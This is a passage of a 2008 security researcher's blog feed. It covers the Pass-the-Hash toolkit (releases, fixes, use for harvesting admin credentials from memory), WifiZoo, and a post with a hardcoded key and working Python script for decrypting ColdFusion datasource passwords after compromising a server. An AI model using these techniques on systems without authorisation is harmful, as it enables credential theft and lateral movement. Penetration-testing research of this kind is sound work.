:).&lt;br /&gt;&lt;br /&gt;Materials for the conference are available here:&lt;br /&gt;&lt;br /&gt;http://conference.hackinthebox.org/hitbsecconf2008kl/materials/&lt;br /&gt;&lt;br /&gt;My presentation, "Pass-the-hash toolkit for Windows - Implementation &amp;amp; Use" is available here:&lt;br /&gt;&lt;br /&gt;http://conference.hackinthebox.org/hitbsecconf2008kl/materials/D1T1%20-%20Hernan%20Ochoa%20-%20Pass-The-Hash%20Toolkit%20for%20Windows.pdf&lt;br /&gt;&lt;br /&gt;The presentation is a good starting point to understand how the tools were implemented, and will also give you an insight on how to use the tools and why.&lt;br /&gt;&lt;br /&gt;The presentation does not describe exactly the demo I did where I reproduced (as a single example of this situtation) a 'vulnerability' where NTLM credentials remained in memory after users log off, which is also one of the best arguments in favor of using the whosthere/whosthere-tool during a pentest, but it shouldn't matter anyway because I just reproduced the 'bug' to show the audience I was not lying about this issue :), so being able to reproduce it (the case I showed at least) should not be relevant; the only relevant thing is: you should use whosthere/whosthere-alt during pentests to gather admin credentials of past logons that are in memory :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-1344971461402448756?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/1344971461402448756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=1344971461402448756&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1344971461402448756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/1344971461402448756'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/11/hitb2008-malaysia-pass-hash-toolkit-for.html' title='HITB2008 - Malaysia - Pass-The-Hash Toolkit for Windows Presentation'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-9175504442834219668</id><published>2008-10-22T12:28:00.004-02:00</published><updated>2008-10-22T12:40:30.202-02:00</updated><title type='text'>bug in iam-alt makes it fail completely (easy to fix)</title><content type='html'>Thanks to 'nop' that posted &lt;a href="http://www.hexale.org/forums/topic.php?id=15"&gt;this&lt;/a&gt; question in the hexale forums I've found a bug in iam-alt.c that makes it fail miserably every single time :).  my bad.&lt;br /&gt;&lt;br /&gt;So, if you're having issues with iam-alt.exe where you pass to it a hash, and it says it has successfully changed it in memory, but then you run whosthere/whosthere-alt and the hash you see is nothing like the original hash you provided to iam-alt.exe the source of this issue is this bug.&lt;br /&gt;&lt;br /&gt;the bug is very easy to fix, if you want to fix it yourself, you just need to modify the following:&lt;br /&gt;&lt;br /&gt;In pshtoolkit_v1.4-src\iam-alt\iam-alt.c:&lt;br /&gt;&lt;br /&gt;line 332:&lt;br /&gt;change&lt;br /&gt;memset(nums, 'x00', 3);&lt;br /&gt;for&lt;br /&gt;memset(nums,'\x00',3);&lt;br /&gt;&lt;br /&gt;line 337:&lt;br /&gt;change&lt;br /&gt;memset(nums, 'x00', 3);&lt;br /&gt;for&lt;br /&gt;memset(nums,'\x00',3);&lt;br /&gt;&lt;br /&gt;and that's it! (feel free to modify the memset() call to include your desired representation of the byte value 0 :))&lt;br /&gt;&lt;br /&gt;This fix is gonna be included in the next release; if you're in a hurry and for some reason want to fix this immedately and cannot re-compile the tool by yourself, drop me an email and I'll send youthe fixed version of iam-alt.exe.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-9175504442834219668?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/9175504442834219668/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=9175504442834219668&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/9175504442834219668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/9175504442834219668'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/10/bug-in-iam-alt-makes-it-fail-completely.html' title='bug in iam-alt makes it fail completely (easy to fix)'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-651413926462849951</id><published>2008-10-09T23:34:00.000-03:00</published><updated>2008-10-09T23:35:25.670-03:00</updated><title type='text'>I'm giving twitter a try</title><content type='html'>I'm giving twitter a try,&lt;br /&gt;&lt;br /&gt;http://www.twitter.com/hernano&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-651413926462849951?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/651413926462849951/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=651413926462849951&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/651413926462849951'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/651413926462849951'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/10/im-giving-twitter-try.html' title='I&apos;m giving twitter a try'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-943975458098377619</id><published>2008-10-09T16:13:00.003-03:00</published><updated>2008-10-09T16:22:24.569-03:00</updated><title type='text'>WifiZoo and the new version of scapy</title><content type='html'>The current version of Wifizoo does not work with scapy's latest version (http://www.secdev.org/projects/scapy/files/scapy-latest.zip), you'll get the following error when running wifizoo:&lt;br /&gt;&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt; File "wifizoo.py", line 48, in &lt;module&gt;&lt;br /&gt;    conf.verb = 0&lt;br /&gt;NameError: name 'conf' is not defined&lt;br /&gt;&lt;br /&gt;To fix this error do simply the following:&lt;br /&gt;&lt;br /&gt;Look in wifizoo.py for the line that says 'import getopt' and after that add the following line:&lt;br /&gt;&lt;br /&gt;from scapy.all import *&lt;br /&gt;&lt;br /&gt;and now everything should work again.&lt;/module&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-943975458098377619?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/943975458098377619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=943975458098377619&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/943975458098377619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/943975458098377619'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html' title='WifiZoo and the new version of scapy'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5985392103787554782</id><published>2008-08-24T02:22:00.004-03:00</published><updated>2008-08-24T02:34:08.421-03:00</updated><title type='text'>How to store AddressBook data on an encrypted volume</title><content type='html'>Ok, i'm paranoid and I did the following to store the data of OS X's AddressBook on an encrypted DMG volume. Using this method I know all data in my addressbook is unencrypted and available only when I want it to be unencrypted (that is, only when I mount the encrypted DMG volume).&lt;br /&gt;&lt;br /&gt;This is nothing great or difficult, is actually pretty dumb, but I thought perhaps someone out there will also find it useful:&lt;br /&gt;&lt;br /&gt;1.I assume you already have your DMG encrypted volume or TrueCrypt image or whatever you use created; let's say you mount it at /Volumes/encdisk&lt;br /&gt;2.AddressBook data is stored in ~/library/ApplicationSupport/AddressBook&lt;br /&gt;3.Move everything in ~/library/ApplicationSupport/AddressBook to /Volumes/encdisk/AddressBook&lt;br /&gt;4.rm -fr ~/library/ApplicationSupport/AddressBook&lt;br /&gt;5.ln -s /Volumes/encdisk/AddressBook/ AddressBook&lt;br /&gt;&lt;br /&gt;and that's it :)&lt;br /&gt;&lt;br /&gt;If your encrypted DMG/TrueCrypt volume is not mounted and you launch AddressBook,, it will of course start executing and will then terminate immediately, which is great! :)&lt;br /&gt;&lt;br /&gt;DISCLAIMER: Do this at  your own risk; I cannot be held responsible if following this instructions destroys all your data.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5985392103787554782?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5985392103787554782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5985392103787554782&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5985392103787554782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5985392103787554782'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/08/how-to-store-addressbook-data-on.html' title='How to store AddressBook data on an encrypted volume'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6924558501738025470</id><published>2008-08-06T22:56:00.003-03:00</published><updated>2008-08-06T23:08:02.303-03:00</updated><title type='text'>wifizoo.hexale.org - WifiZoo's new web site</title><content type='html'>Wifizoo has a new web site completely dedicated to the tool.&lt;br /&gt;&lt;br /&gt;Yes, it is still ugly and basically contains the same info as the old one, but I'm going to change that as soon as possible.&lt;br /&gt;&lt;br /&gt;For starters, there's a 'News' section that right now is basically a bunch of items inside a &amp;lt;li&amp;gt; tag :), but this section contain several pieces of information that were scattered on different web sites and my inbox up until now.&lt;br /&gt;&lt;br /&gt;The idea is to gather all information regarding Wifizoo in wifizoo.hexale.org making it the place to go when searching for information about the tool.&lt;br /&gt;&lt;br /&gt;To all of you who have sent me links to videos and tutorials about wifizoo, please, can you send them again? I'll go thru my inbox, but I don't want to miss any, so, if you are still interested, please resend me the link to the tutorial/video/etc  so I can add it to the web site.&lt;br /&gt;&lt;br /&gt;And remember there's a Wifizoo forum at www.hexale.org/forums.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6924558501738025470?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/6924558501738025470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=6924558501738025470&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6924558501738025470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6924558501738025470'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/08/wifizoohexaleorg-wifizoos-new-web-site.html' title='wifizoo.hexale.org - WifiZoo&apos;s new web site'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6928197156584132444</id><published>2008-07-02T15:45:00.001-03:00</published><updated>2008-07-02T15:45:46.898-03:00</updated><title type='text'>Release of Pass-The-Hash Toolkit v1.4</title><content type='html'>Source Code:&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4-src.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4-src.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Win32 Binaries:&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.4/pshtoolkit_v1.4.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Documentation/info:&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;http://oss.coresecurity.com/projects/pshtoolkit.htm&lt;/a&gt;&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/doc/index.html"&gt;http://oss.coresecurity.com/pshtoolkit/doc/index.html&lt;/a&gt;&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://hexale.blogspot.com/"&gt;http://hexale.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;a class="moz-txt-link-freetext" href="http://www.hexale.org/forums"&gt;http://www.hexale.org/forums&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What's new?:&lt;br /&gt;(&lt;a class="moz-txt-link-freetext" href="http://oss.coresecurity.com/pshtoolkit/release/1.4/WHATSNEW"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.4/WHATSNEW&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;*Support for XP SP 3 for whosthere/iam (whosthere-alt/iam-alt work on xp sp3&lt;br /&gt;without requiring any update)&lt;br /&gt;&lt;br /&gt;*New -t switch for whosthere/whosthere-alt: establishes interval used by  the -i switch (by default 2 seconds).&lt;br /&gt;&lt;br /&gt;*New -a switch for whosthere/iam: specify addresses to use. Format:  ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSESSIONLIST_COUNT_ADDR  (WARNING!: if you use the wrong values the system may crash)&lt;br /&gt;The idea is that, if you find yourself in a version of Windows where&lt;br /&gt;whosthere/iam don't work (and iam-alt/whosthere-alt don't work either);  you can run LSASRV.DLL thru IDA, run the PASSTHEHASH.IDC script included  in the Pass-The-Hash toolkit, and use the addresses found by the script  with the -a switch.&lt;br /&gt;&lt;br /&gt;This basically allows you to specify addresses at runtime to whosthere  whithout&lt;br /&gt;the need to recompile the tool.&lt;br /&gt;&lt;br /&gt;*New -r switch for iam/iam-alt: Create a new logon session and run a  command with&lt;br /&gt;the specified credentials (e.g.: -r cmd.exe)&lt;br /&gt;&lt;br /&gt;*genhash now outputs hashes using the LM HASH:NT HASH format&lt;br /&gt;&lt;br /&gt;*several bugfixes and stuff&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6928197156584132444?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/6928197156584132444/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=6928197156584132444&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6928197156584132444'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6928197156584132444'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/07/release-of-pass-hash-toolkit-v14.html' title='Release of Pass-The-Hash Toolkit v1.4'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7256548273157928878</id><published>2008-07-01T15:44:00.007-03:00</published><updated>2008-07-01T16:12:56.217-03:00</updated><title type='text'>How to decrypt Coldfusion datasource passwords</title><content type='html'>ColdFusion stores passwords for DataSources encrypted in the following XML files:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Coldfusion 7&lt;/span&gt;: &lt;coldfusion_path&gt;\lib\neo-query.xml&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;for example: c:\CFusionMX7\lib\neo-query.xml&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Coldfusion 8&lt;/span&gt;: &lt;coldfusion_path&gt;\lib\neo-datasource.xml&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;for example: c:\coldfusion8\lib\neo-datasource.xml&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;the xml contains nodes/items like this:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-weight: bold;"&gt;&amp;lt;var name="password"&amp;gt;&lt;br /&gt;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&amp;lt;string&amp;gt;maJsuHYMay8zpmptC2yibA==&amp;lt;/string&amp;gt;&lt;/span&gt; &lt;/p&gt;&lt;p&gt;one for every data source.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Both Coldfusion versions use the same mechanism to encrypt the passwords;&lt;br /&gt;this mechanism can be found in the following way:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Find &lt;coldfusion_path&gt;\lib\cfusion.jar&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;coldfusion_path&gt;Extract its contents&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;coldfusion_path&gt;Decompile &lt;cfusion_extracted_path&gt;\coldfusion\sql\DataSourceDef.class&lt;/cfusion_extracted_path&gt;&lt;/coldfusion_path&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="text-align: left;"&gt;&lt;coldfusion_path&gt;(use for example: cavaj Java decompiler: http://www.sureshotsoftware.com/cavaj/index.html)&lt;br /&gt;&lt;/coldfusion_path&gt;&lt;/p&gt;&lt;p&gt;&lt;coldfusion_path&gt;You'll find the following code:&lt;br /&gt;&lt;/coldfusion_path&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;br /&gt;[..]&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;public class DataSourceDef&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;{&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span&gt;[..]&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;protected static final String seedval = "0yJ!@1$r8p0L@r1$6yJ!@1rj";&lt;/span&gt; &lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;[..]&lt;br /&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt;protected String getPassword()&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   {&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;       if(password == null)&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           return null;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;       if(password.equals(""))&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           return "";&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt; else&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;       {&lt;/span&gt; &lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt;String pwd = null;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           String secKey = CFPage.generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj");&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           pwd = CFPage.Decrypt(password, secKey, "DESede", "Base64");&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;           return pwd;&lt;/span&gt;&lt;br /&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt;&lt;span style="font-weight: bold;"&gt;       }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; &lt;span style="font-weight: bold;"&gt;   }&lt;/span&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;&lt;verbatim&gt; [..]&lt;br /&gt;&lt;/verbatim&gt;&lt;/p&gt;&lt;p&gt;And here's a simple script that will decrypt the passwords:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[..]&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;import pyDes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;import base64&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;import sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;print "Coldfusion v7 y v8 DataSource password decryptor (c) 2008 Hernan Ochoa (hernan@gmail.com)"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;print " "&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;if len(sys.argv) &lt;&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    print "syntax: coldfusion_ds_decrypt.py &lt;password&gt;"&lt;/password&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    exit(0)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;pwd = sys.argv[1]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;key = "0yJ!@1$r8p0L@r1$6yJ!@1rj"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;k = pyDes.triple_des(key)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;d = k.decrypt( base64.decodestring(pwd), "*")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;print "decrypted password: " + d&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;p style="font-weight: normal;"&gt;[..]&lt;/p&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;p style="font-weight: normal;"&gt;If you have compromised a machine with Coldfusion, you might find&lt;br /&gt;useful to have these passwords to test them against the database server&lt;br /&gt;and other servers (if you have control over the Coldfusion installation,&lt;br /&gt;you can already execute sql code using cfm without knowing the password&lt;br /&gt;for the datasource; but STILL it might be good to have these passwords,to access the database servers directly, they might be the same as the ones used for other remote admin accounts, etc&lt;br /&gt;(I've seen it and I'm sure you have seen it too)).&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: normal;"&gt;If you have access to the Coldfusion administrator page (http://target/CFIDE/Administrator) you can go to the datasources section and you'll see the base64-encoded encrypted password for all the datasources.&lt;br /&gt;&lt;br /&gt;Go to the 'DataSources Section'&lt;br /&gt;&lt;/p&gt;&lt;a style="font-weight: normal;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_sUXOjNfwj9k/SGp_CYXtuAI/AAAAAAAAABk/XFPbl67c1ew/s1600-h/cf7_datasources_test.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_sUXOjNfwj9k/SGp_CYXtuAI/AAAAAAAAABk/XFPbl67c1ew/s320/cf7_datasources_test.PNG" alt="" id="BLOGGER_PHOTO_ID_5218122797140523010" border="0" /&gt;&lt;/a&gt;&lt;p style="font-weight: normal;"&gt;&lt;br /&gt;Click on a 'DataSource' (e.g.: Test)&lt;/p&gt;&lt;a style="font-weight: normal;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_sUXOjNfwj9k/SGp_UpSe9OI/AAAAAAAAABs/XBnDjDv28gQ/s1600-h/cf7_datasource_shown.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_sUXOjNfwj9k/SGp_UpSe9OI/AAAAAAAAABs/XBnDjDv28gQ/s320/cf7_datasource_shown.PNG" alt="" id="BLOGGER_PHOTO_ID_5218123110919632098" border="0" /&gt;&lt;/a&gt;&lt;p style="font-weight: normal;"&gt;&lt;br /&gt;Look at the source code for the HTML page:&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;a style="font-weight: normal;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_sUXOjNfwj9k/SGp_eug3b5I/AAAAAAAAAB0/eG11cTtARzo/s1600-h/cf7_datasource_pwd_html.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_sUXOjNfwj9k/SGp_eug3b5I/AAAAAAAAAB0/eG11cTtARzo/s320/cf7_datasource_pwd_html.PNG" alt="" id="BLOGGER_PHOTO_ID_5218123284120825746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;This is another method for obtaining the base64-encoded encrypted passwords,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;instead of going to the XML files on disk.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;Of course, if you have access to the administrator console already, you can do pretty much everything; I'm just saying this is a convenient method to obtain the password for later decryption.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-7256548273157928878?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/7256548273157928878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=7256548273157928878&amp;isPopup=true' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7256548273157928878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/7256548273157928878'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html' title='How to decrypt Coldfusion datasource passwords'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_sUXOjNfwj9k/SGp_CYXtuAI/AAAAAAAAABk/XFPbl67c1ew/s72-c/cf7_datasources_test.PNG' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-7576725678835314934</id><published>2008-06-26T11:58:00.003-03:00</published><updated>2008-06-26T12:07:08.239-03:00</updated><title type='text'>Windows XP SP3 and Pass-The-Hash Toolkit: it Works!</title><content type='html'>Ok, so Windows XP SP3 is out.&lt;br /&gt;&lt;br /&gt;With this new version:&lt;br /&gt;&lt;br /&gt;whosthere-alt.exe still works without requiring any modifications.&lt;br /&gt;whosthere.exe does not work because this is the more 'gentle' and 'stealth' :) version of the tool and requires precise memory addresses.&lt;br /&gt;&lt;br /&gt;But that's why I released the passthehash.idc IDA script; so you can easily get these addresses yourself.&lt;br /&gt;&lt;br /&gt;And that's also the 